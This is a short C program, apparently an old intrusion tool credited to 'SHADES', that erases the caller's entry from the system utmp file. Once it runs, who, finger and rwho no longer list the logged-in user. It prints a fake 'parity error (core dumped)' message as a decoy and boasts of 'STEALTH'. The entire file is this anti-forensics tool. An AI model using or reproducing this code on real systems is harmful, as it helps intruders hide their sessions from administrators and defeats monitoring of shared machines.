#include <stdio.h>

#include <stdlib.h>

#include <utmp.h>

#include <pwd.h>

 

#define UTMPFILE        "/etc/utmp"

 

        FILE    *utmpfile;

        char    *utmp_tmp[10240];

 

main (argc, argv)

        int     argc;

        char    *argv[];

{

 

        struct  utmp    *user_slot;

        struct  passwd  *pwd;

        char    line[10], name[10], host[20];

        int     index;

 

        printf ("parity error (core dumped)\n\n");

        utmpfile = fopen (UTMPFILE, "r+");

        if (utmpfile == NULL)

        {

                exit ();

        }

        index = ttyslot();                                          

        index *= sizeof(struct utmp);   /* 36 */

        fseek(utmpfile, index, 0);

        pwd = getpwuid (getuid());

        if ( (argc>1) && (!strcmp(argv[1], "-s")) )

        {

        index+=8;      

        fseek(utmpfile, index, 0);

        fwrite ("\000", 8, 1, utmpfile);      

        fwrite ("\000", 8, 1, utmpfile);      

        fclose(utmpfile);

        printf ("Thank SHADES for STEALTH! finger/who/rwho wont show you!\n");

        exit();

        }

}